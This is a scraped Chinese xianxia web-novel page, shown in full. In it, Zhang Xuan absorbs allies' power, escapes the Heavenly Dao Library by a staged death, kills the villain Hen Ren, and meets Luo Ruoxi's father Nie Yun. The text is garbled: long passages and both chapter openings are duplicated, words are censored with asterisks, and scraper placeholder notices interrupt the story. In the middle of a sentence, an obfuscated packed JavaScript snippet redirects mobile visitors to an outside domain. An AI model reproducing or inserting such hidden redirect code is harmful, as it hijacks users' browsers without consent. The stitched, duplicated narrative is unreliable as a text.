如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第183章 神医,我师父 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16139941|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第184章 关门大吉 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 